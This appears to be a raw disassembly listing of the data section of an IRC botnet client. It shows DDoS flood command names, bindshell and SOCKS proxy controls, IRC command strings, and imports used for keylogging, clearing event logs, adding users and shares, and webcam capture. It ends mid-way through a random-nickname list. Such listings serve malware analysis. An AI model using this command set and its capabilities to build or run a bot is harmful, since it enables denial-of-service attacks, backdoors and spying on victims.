dword_42CB98 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+1319o ; sub_401ACD+13AAo dword_42CBA8 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1314o ; sub_401ACD+13A5o dword_42CBB8 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+12B9o ; sub_401ACD+1425o dword_42CBC4 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B4o ; sub_401ACD+1420o dword_42CBD0 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Bo ; sub_401ACD+13FCo dword_42CBDC dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1296o ; sub_401ACD+13F7o aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1236o align 4 dword_42CBF4 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+122Bo ; sub_401ACD+12F8o dword_42CC00 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1226o ; sub_401ACD+12F3o aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+120Do align 4 dword_42CC18 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+1202o ; sub_401ACD+12DAo dword_42CC28 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11FDo ; sub_401ACD+12D5o aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11E4o align 4 dword_42CC44 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11D9o ; sub_401ACD+1358o dword_42CC54 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11D4o ; sub_401ACD+1353o aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+11BBo align 10h dword_42CC70 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11B0o ; sub_401ACD+127Ao dword_42CC7C dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11ABo ; sub_401ACD+1275o aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1192o dword_42CC90 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1187o ; sub_401ACD+125Co dword_42CC9C dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1182o ; sub_401ACD+1257o dword_42CCA8 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1169o dword_42CCB4 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+115Eo dword_42CCC4 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1159o aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+1140o align 4 dword_42CCE4 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1135o dword_42CCF0 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+1130o aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+1117o dword_42CD04 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+110Co aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10EEo align 10h dword_42CD20 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10E3o aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+10C5o align 4 dword_42CD3C dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+10BDo aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+109Fo align 4 aS4 db 's4',0 ; DATA XREF: sub_401ACD+108Ao align 4 aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1075o align 4 dword_42CD64 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401ACD+1053o aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+104Eo ; sub_401ACD+10B8o ... align 10h aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1035o align 10h aBd db 'bd',0 ; DATA XREF: sub_401ACD+1020o align 4 aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+100Bo align 10h aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FF6o align 4 aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FE1o align 4 aSec db 'sec',0 ; DATA XREF: sub_401ACD+FCCo ; sub_401ACD+2D6Ao aSecure db 'secure',0 ; DATA XREF: sub_401ACD+FB7o ; sub_401ACD+2D59o align 10h aSt db 'st',0 ; DATA XREF: sub_401ACD+FA2o align 4 aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F8Do align 10h aDed db 'ded',0 ; DATA XREF: sub_401ACD+F78o aDedication db 'dedication',0 ; DATA XREF: sub_401ACD+F63o align 10h aVer db 'ver',0 ; DATA XREF: sub_401ACD+F4Eo aVersion db 'version',0 ; DATA XREF: sub_401ACD+F39o aLo db 'lo',0 ; DATA XREF: sub_401ACD+F24o align 10h aLogout db 'logout',0 ; DATA XREF: sub_401ACD+F0Fo align 4 aD: ; DATA XREF: sub_401ACD+EFAo ; ___:00438314o ... unicode 0, <d>,0 aDie db 'die',0 ; DATA XREF: sub_401ACD+EE5o aRn db 'rn',0 ; DATA XREF: sub_401ACD+ED0o align 4 aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+EB8o a63 db '63',0 ; DATA XREF: sub_401ACD+D85o align 10h asc_42CE10: ; DATA XREF: sub_401ACD+D5Do unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D20o align 4 aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+D15o aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+D04o align 10h aChan db '$chan',0 ; DATA XREF: sub_401ACD+CE8o align 4 aUser_0 db '$user',0 ; DATA XREF: sub_401ACD+CD7o align 10h aMe db '$me',0 ; DATA XREF: sub_401ACD+CC5o aD_0 db '$%d',0 ; DATA XREF: sub_401ACD+C57o aD_1 db '$%d-',0 ; DATA XREF: sub_401ACD+B93o align 10h asc_42CE50: ; DATA XREF: sub_401ACD+ABBo ; ___:0043832Co ... unicode 0, <l>,0 unk_42CE54 db 2Dh ; - ; DATA XREF: sub_401ACD+A80o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 4 unk_42CE88 db 2Dh ; - ; DATA XREF: sub_401ACD+A6Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 4 unk_42CEB8 db 2Dh ; - ; DATA XREF: sub_401ACD+A5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_31 db '- Failed to start chat thread, error: <%d>.',0 align 10h unk_42CEF0 db 2Dh ; - ; DATA XREF: sub_401ACD+9EFo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 10h aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+958o align 4 unk_42CF18 db 2Dh ; - ; DATA XREF: sub_401ACD+938o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 unk_42CF5C db 2Dh ; - ; DATA XREF: sub_401ACD+920o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_32 db '- Failed to start transfer thread, error: <%d>.',0 align 4 dword_42CF98 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401ACD+90Fo dd 0A0Dh dword_42CFB0 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8DBo dword_42CFB8 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401ACD+8D0o dd 0D017325h, 0Ah dword_42CFD4 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+89Fo dword_42CFE0 dd 23h ; DATA XREF: sub_401ACD+816o ; sub_40CA80+1Bo unk_42CFE4 db 2Dh ; - ; DATA XREF: sub_401ACD+785o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 4 aS_1 db '%s',0 ; DATA XREF: sub_401ACD+706o ; sub_401ACD+995o ... align 4 aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6DFo align 10h dword_42D020 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6C1o dword_42D028 dd 323333h ; DATA XREF: sub_401ACD+64Bo ; sub_401ACD+ADDo ... aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+629o ; sub_409A73+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+61Do ; sub_409A73+16o unk_42D03C db 2Dh ; - ; DATA XREF: sub_401ACD+5CCo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedOut db 'User: %s logged out.',0 align 10h unk_42D060 db 2Dh ; - ; DATA XREF: sub_401ACD+5A5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChanne_0 db 'Joined channel: %s.',0 a353 db '353',0 ; DATA XREF: sub_401ACD+574o aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+537o align 4 aPart db 'PART',0 ; DATA XREF: sub_401ACD+526o ; sub_401ACD+5E9o align 4 aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4FEo align 4 aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3D0o align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o ; sub_401ACD+60Do unk_42D0B4 db 2Dh ; - ; DATA XREF: sub_401ACD+355o ; sub_401ACD+2EBDo ... db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_0 db 'User %s logged out.',0 aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do ; sub_401ACD+7C8Fo ... align 4 a433 db '433',0 ; DATA XREF: sub_401ACD+262o ; sub_4177D0:loc_417838o a@: ; DATA XREF: sub_401ACD+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao a005 db '005',0 ; DATA XREF: sub_401ACD+215o a001 db '001',0 ; DATA XREF: sub_401ACD+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o ; sub_401ACD+3B7o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o align 4 aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o ; sub_4177D0+50o align 10h asc_42D120: ; DATA XREF: sub_401ACD+19Ao ; sub_401ACD+7DAEo unicode 0, <!>,0 asc_42D124: ; DATA XREF: sub_401ACD+A8o ; sub_401ACD+E5Do ... unicode 0, < >,0 asc_42D128 db ' :',0 ; DATA XREF: sub_401ACD+86o ; sub_401ACD:loc_402602o align 4 aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A73+5Do aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B13+C7Fo align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B13+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409B13:loc_40A77Do align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409B13+C15o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409B13+C08o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409B13+BFBo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409B13+BEEo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409B13+BE1o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409B13+BD9o align 10h aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409B13:loc_40A6DFo align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409B13+B97o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409B13+B8Fo align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409B13:loc_40A695o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B13+B3Do align 10h aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B13+B30o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B13+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B13+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409B13:loc_40A621o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B13+AD9o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409B13+AD1o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409B13:loc_40A5D7o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B13+A8Fo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B13+A87o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409B13:loc_40A58Do align 10h aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409B13+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B13+9ECo ; sub_4185A5+65o align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409B13+9DFo align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409B13+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409B13+9C5o align 10h aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409B13+9B8o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409B13+9ABo align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409B13+99Eo align 10h aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B13+991o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409B13+984o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409B13+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409B13+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409B13:loc_40A471o ; sub_4185A5+58o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409B13+921o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409B13+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409B13+90Co align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409B13:loc_40A412o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B13+8D2o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409B13+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409B13+853o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B13+846o align 10h aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B13+839o align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409B13+82Co align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409B13+81Fo align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409B13+812o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B13+805o align 10h aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B13+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B13+7F0o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409B13:loc_40A2F2o aClosesocket db 'closesocket',0 ; DATA XREF: sub_409B13+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_409B13+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409B13+68Co align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409B13+67Fo align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_409B13+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_409B13+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409B13+658o align 10h aAccept db 'accept',0 ; DATA XREF: sub_409B13+64Bo align 4 aListen db 'listen',0 ; DATA XREF: sub_409B13+63Eo align 10h aSelect db 'select',0 ; DATA XREF: sub_409B13+631o align 4 aBind db 'bind',0 ; DATA XREF: sub_409B13+629o align 10h aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409B13+617o align 4 aRecv db 'recv',0 ; DATA XREF: sub_409B13+60Ao align 4 aSendto db 'sendto',0 ; DATA XREF: sub_409B13+5FDo align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_409B13+5E3o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_409B13+5D6o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_409B13+5C9o align 4 aHtons db 'htons',0 ; DATA XREF: sub_409B13+5BCo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409B13+5AFo align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409B13+5A2o align 4 aConnect db 'connect',0 ; DATA XREF: sub_409B13+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409B13+588o aSocket db 'socket',0 ; DATA XREF: sub_409B13+57Bo align 10h aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409B13+56Eo align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409B13+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409B13+554o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409B13+547o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409B13+53Ao align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409B13+52Do align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409B13+525o align 10h aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409B13+514o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409B13+4A1o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409B13+494o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_409B13+487o align 10h aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409B13+47Ao align 10h aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409B13+46Do align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409B13+460o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B13+453o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409B13+446o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409B13+43Eo align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409B13:loc_409F40o align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409B13:loc_409F18o align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B13+3ADo align 10h aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B13+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409B13+393o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409B13+386o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_409B13+379o align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409B13+36Co align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409B13+35Fo align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409B13:loc_409E6Ao align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B13+327o align 10h aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B13+31Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409B13:loc_409E25o align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409B13+2C6o align 4 aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409B13+2B9o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409B13+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409B13+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409B13+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409B13+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409B13+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409B13+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409B13:loc_409D72o align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409B13+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409B13+20Do align 10h aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409B13+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B13:loc_409D0Bo align 10h aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409B13+1A0o align 10h aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409B13+193o align 10h aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409B13+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409B13+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409B13+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_409B13+15Fo align 10h aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409B13+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409B13+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409B13:loc_409C48o ; sub_424D78+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B13:loc_409C1Bo align 10h aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B13+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B13+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409B13+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409B13+79o align 10h aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B13+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B13+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_409B13+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409B13+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_409B13+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B13+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409B13+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409B13+Ao align 4 unk_42DA28 db 2Dh ; - ; DATA XREF: sub_40A7CF+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 4 aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+2CCo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+230o align 10h aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+194o align 10h aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+90o align 10h aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+28o align 4 a_: ; DATA XREF: sub_40F96B+252o unicode 0, <.>,0 unk_42DBB8 db 2Dh ; - ; DATA XREF: sub_40AB32:loc_40ABF1o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 4 unk_42DBE8 db 2Dh ; - ; DATA XREF: sub_40AB32:loc_40ABBFo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 4 unk_42DC18 db 2Dh ; - ; DATA XREF: sub_40AB32:loc_40AB8Bo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 unk_42DC3C db 2Dh ; - ; DATA XREF: sub_40AB32+49o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AC10+46o ; sub_40BFEC+38o align 8 aReal db 'real',0 align 10h dd 0 dword_42DC84 dd 0 ; DATA XREF: sub_40B08E+7o off_42DC88 dd offset sub_40ACB6 ; DATA XREF: sub_40B08E+49r aConst db 'const',0 align 8 dd 1, 40AD23h, 7474656Ch, 7265h, 0 dd 2, 40AD81h, 706D6F63h, 2 dup(0) dd 3, 40ADCEh, 6E756F63h, 797274h, 0 dd 4, 40AE6Ch, 736Fh, 2 dup(0) dd 5, 40AEE1h off_42DCF0 dd offset aAbdulrazak ; DATA XREF: sub_40ACB6+21r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_42DCFC dd offset aAddison ; DATA XREF: sub_40B08E+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; 